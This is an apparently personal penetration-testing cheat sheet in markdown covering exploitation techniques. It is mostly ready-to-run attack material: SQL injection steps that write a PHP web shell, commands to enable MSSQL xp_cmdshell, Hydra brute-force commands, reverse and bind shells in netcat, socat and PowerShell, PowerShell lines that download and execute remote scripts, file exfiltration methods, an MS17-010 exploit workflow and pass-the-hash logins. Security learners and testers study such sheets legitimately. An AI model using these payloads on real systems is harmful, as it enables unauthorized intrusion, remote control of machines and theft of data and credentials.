Skip to content

Latest commit

 

History

History
512 lines (437 loc) · 14.3 KB

exploitation.md

File metadata and controls

512 lines (437 loc) · 14.3 KB

Exploitation

Exploitation Web application

General

When modifying web exploits, there are several key questions we generally need to ask while approaching the code:

  • Does it initiate an HTTP or HTTPS connection?
  • Does it access a web application specific path or route?
  • Does the exploit leverage a pre-authentication vulnerability?
  • If not, how does the exploit authenticate to the web application?
  • How are the GET or POST requests crafted to trigger and exploit the vulnerability?
  • Does it rely on default application settings (such as the web path of the application) that may have been changed after installation?
  • Will oddities such as self-signed certificates disrupt the exploit?

SQL Injection

  • Use ‘ and “ to look for possible errors
  • use # and -- for comments after the injection. (After the ``-- ``` a space is required_
    • If -- in url the add something behind it so the space doesn't get truncated. For example -- \\
  • If returning multiple rows gives errors use LIMIT 1 in the query
  • use ORDER BY to find the amount of columns. Increment it by 1 till no output is shown.
  • use load_file('C:/Windows/System32/drivers/etc/hosts') to load files instead of database data.
  • use "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE '<PATH TO WEBROOT>/backdoor.php' to create a simple php backdoor.

Manual SQL injection

  1. Find the SQL injecton
    • Use ‘ and “ to look for possible errors.
    • Vunerable value for example is artist=1
  2. Find the amount of columns
    • use artist=1 ORDER BY 1. Increment it by 1 till no output or error is given. If artist=1 ORDER BY 4 gives an error, the amount of columns is 3.
  3. Use a union based SQL injection
    • use artist=1 union select 1,2,3 (amount of columns). If no other output is given:
      • use wrong output artist=-1 union select 1,2,3
      • If its a string use artist=-1 union select NULL,NULL,NULL
  4. Fetch the name of the database and version/current user
    • artist=-1 union select 1,database(),3
    • -1 union select 1,version(),current_user()
  5. Fetch the table names inside the database
    • Retrieve all table names
      • artist=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
    • Get first table name (Limited by first because of the limit 0,1)
      • artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1
    • Get the second table name (Limited by second because of the limit 1,1)
      • artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1
    • Get the rest of the table names
  6. Retrieve columns names
    • artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='<TABLE>'
  7. Get data out of the columns
    • artist=-1 union select 1,group_concat(<COLUMN>),3 from <TABLE>

MYSQL Commands

show grants;
show variables;
show databases;
use <DATABASE>;
show tables;
describe <TABLE>;
SELECT * FROM <TABLE>;

MSSQL

Mssql connect

mssql-cli -S 10.11.1.31 -U sa -P 'poiuytrewq'

Enable XP_Cmdshell

EXECUTE sp_configure 'show advanced options', 1;  
RECONFIGURE;  
EXECUTE sp_configure 'xp_cmdshell', 1;  
RECONFIGURE;

Execute commands

xp_cmdshell 'whoami'

Webserver shells checklist

  • Is the webserver running ISS, PHP? What is it running
    • ISS = .asp, .aspx
    • PHP = .php
    • Java = .jsp

File upload

File upload intruder extensions list

/opt/SecLists/Discovery/Web-Content/web-extensions.txt

Services

FTP

  • Check if login is allowed as anonymous:anonymous.

POP read emails

nc -nvC <IP> <PORT>
USER <USERNAME>
PASS <PASSWORD>
LIST
RETR 1 
RETR 2

MSRPC login

evil-winrm -u <USER> -p <PASS> -i <IP>

Password Attacks

https://github.com/danielmiessler/SecLists

Hydra bruteforce FTP

hydra -L <USERNAMEFILE> -P <PASSWORDFILE> -t 24 ftp://<IP>:<PORT>

Hydra bruteforce SSH

hydra -L <USERNAMEFILE> -P <PASSWORDFILE> -t 24 ssh://<IP>:<PORT>

Hydra bruteforce HTTP login

Login using Burp or check in developers tools to check the request for the required information! You need to get the username/password/login parameter and the error message!

https://redteamtutorials.com/2018/10/25/hydra-brute-force-https/

hydra -L <USERNAMEFILE> -P <PASSWORDFILE> <IP> http-post-form "<LOGINPAGE>:<COOKIES FROM BURP AND SET ^USER^ AND ^PASS^>:<ERROR MESSAGE FAILED LOGIN>"

#EXAMPLE hydra -L usernames.txt -P passwords.txt 192.168.2.62 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login Failed"

#EXAMPLE hydra -l admin -P /opt/SecLists/Passwords/xato-net-10-million-passwords-100.txt 10.10.175.0 http-post-form '/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=u8hdjDohYmqfI8o0z7Cev4b1u0jLmv9dNA9NS95wDsZeMYw6zBFeyhiLx1QuOsZ%2FXV%2Fo%2BrCdXSC4Y7%2FueaRnmboaQQ9KZQWLME84zysowmYTAW8Kea1%2Bp7phoEwMiICbLwPPteDEYl7z6nobm8x1Mb2hMDiTpDJhracgmTh%2BJwP1Rqqt&__EVENTVALIDATION=QJmkftZnDEcQIPsstxYKnQBDsulZLsB0kmrbMa4BPzAc%2FMEDChrOmztni5OWBx83r2xGNndCAgw6wJ%2F%2FoAzYtZEcyRWC%2FaPyUR5iWSO0V8%2FIodobow1OxiuoD9uZVnVO8tcQZr3NWYjFcOVxYg5WAWvPyezvfcBk2oxUdZwsutPATiKB&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:failed'

CEWL - Create a wordlist

cewl <URL> -m <MIN CHARS> -w <FILE>.txt

Identify hashes

hashid <HAS>
hash-identiefier

Combine /etc/passwd and /etc/shadow with unshadow

Unshadow <PASSWD FILE> <SHADOW FILE> > unshadow.txt

NFS Shares

Portmapper and RPCBind run on TCP port 111

Enumerations

rpcinfo <IP>
sudo nmap -sSUC -p111 <IP> --script *nfs*

Mount shares

showmount -e <IP>
sudo mount -o nolock <IP>:/<SHARE> <MOUNT LOCATION>
sudo mount -t cifs -o port=<PORT> //<IP>/<SHARE> -o username=<USERNAME>,password=<PASSWORD> /mnt/<FOLDER>

Open file with no permission to file

If a file found which we want to access but don’t have permissions. Make a user with the same username and change the UUID, change to the user so we can access the file.

sudo adduser pwn
sudo vim /etc/passwd

Shells

Listeners

Netcat listener

sudo nc -nlvp <PORT>

Socat listener

sudo socat -d -d TCP4-LISTEN:<PORT> STDOUT

Meterpreter listener

msfconsole
use multi/handler
set payload <PAYLOAD>
run

Powercat listener

. ./powercat.ps1
powercat -l -v -p 10000

Reverse shells

Netcat

nc -nv <IP> <PORT> -e /bin/bash

Socat

socat TCP4:<IP>:<PORT> EXEC:/bin/bash

Powershell

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell.exe iex (iwr http://<IP>/Invoke-PowerShellTcp.ps1 -usebasicparsing);Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <PORT>

powershell iex (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <PORT>

Powercat

powercat -c <IP> -p <PORT> -e cmd.exe

Bind shells

Netcat

nc -nlvp <PORT>

Powershell

powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('<IP>',<PORT>);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'P

Powercat

powercat -l -p <PORT> -e cmd.exe

Spawn TTY Shells

python -c 'import pty; pty.spawn("/bin/sh")'

echo os.system('/bin/bash')

/bin/sh -i

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

ruby: exec "/bin/sh"

Enable tab completion

  1. In your active shell press bg to send your nc session to background
  2. Enter stty raw -echo
  3. Enter fg to bring your nc session to foreground
  4. ```export TERM=xterm-256color``

MSFvenom payloads

File transfers

Download files

Start webservers

sudo service apache2 start #files in /var/www/html
sudo python3 -m http.server <PORT> #files in current 
sudo python2 -m SimpleHTTPServer <PORT>
sudo php -S 0.0.0.0:<PORT>
sudo ruby -run -e httpd . -p <PORT>
sudo busybox httpd -f -p <PORT>

Download file from webserver

wget http://<IP>:<PORT>/<FILE>

SMB Server

sudo python3 /opt/oscp/impacket/examples/smbserver.py <SHARE NAME> <PATH>

Look for files in SMB

dir \\<IP>\<SHARE NAME>

Copy files from SMB

copy \\<IP>\<SHARE NAME>\<FILE NAME> <FILE>

Copy all files

copy \\<IP>\<SHARE NAME>\<FILE NAME>\*.* .

Copy files to SMB

copy <FILE> \\<IP>\<SHARE NAME>\<FILE NAME>

Linux ftp

If installed use the ftp package

Windows ftp

Use native program with the -s parameter to use a input file for the commands

echo open 192.168.119.124 21> ftp.txt
echo USER offsec>> ftp.txt
echo lab>> ftp.txt
echo bin >> ftp.txt
echo GET accesschk.exe >> ftp.txt
echo GET winPEASany.exe >> ftp.txt
echo quit >> ftp.txt

ftp -v -n -s:ftp.txt

VBS download files for Windows XP

Create vbs script

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

Run VBS script to download file

cscript wget.vbs http://<IP>/<FILE> <FILE>

Powershell download file

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/<FILE>', '<FILE>')

powershell -c "Invoke-WebRequest -Uri 'http://<IP>/<FILE>' -OutFile 'C:\Windows\Temp\<FILE>'"

Upload files

Netcat listener for file

nc -nlvp <PORT> > <FILE>

Netcat send file

nc -nv <IP> <PORT> <FILE>

Socat listener for file to send

sudo socat TCP4-LISTEN:<PORT>,fork file:<FILE>

Socat get file

socat TCP4:<IP>:<PORT> file:<FILE>,create

Powercat send file

powercat -c <IP> -p <PORT> -i <FILE>

Upload Windows data through HTTP Post request

make /var/www/upload.php on kali

<?php
$uploaddir = '/var/www/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>

Upload file in Windows client

powershell (New-Object System.Net.WebClient).UploadFile('http://<IP>/upload.php', '<FILE>')

Upload through tftp (over udp)

Install tftp on kali

sudo apt update && sudo apt install atftp
sudo mkdir /tftp
sudo chown nobody: /tftp
sudo atftpd --daemon --port 69 /tftp

On windows client to send file

tftp -i <IP> put important.docx

Powercat send file

powercat -c <IP> -p <PORT> -i <FILE>

Misc

MS17-010

git clone https://github.com/helviojunior/MS17-010
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f exe -a x86 --platform windows -o ms17-010.exe
nc -lnvp <PORT>
python send_and_execute.py <TARGET IP> ms17-010.exe

PHP Execute commands

<?php
// Return the listing of the directory where the file runs (Windows)
system("dir");
?>

<?php
// Executes but returns nothing
exec("ls -la");
?>

<?php
// Executes, returns the entire output as a string
echo shell_exec("ls -la");
?>

<?php
// Executes, returns output in raw format
passsthru("ls -la");
?>

Path traversal cheatsheet files

https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/

Pass the hash login

First is a empty LM HASH, last one should work as well.

pth-winexe -U <USERNAME>%aad3b435b51404eeaad3b435b51404ee:<NTLM HASH> //<IP> cmd
pth-winexe -U <USERNAME>%<LM HASH>:<NTLM HASH> //<IP> cmd
pth-winexe -U <USERNAME>%:<NTLM HASH> //<IP> cmd

Mysql raptor exploit but better

https://www.exploit-db.com/exploits/46249

Bash fully interactive shell

Start without tmux a /bin/bash shell
nc -lvp <PORT>
python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo
fg
export TERM=screen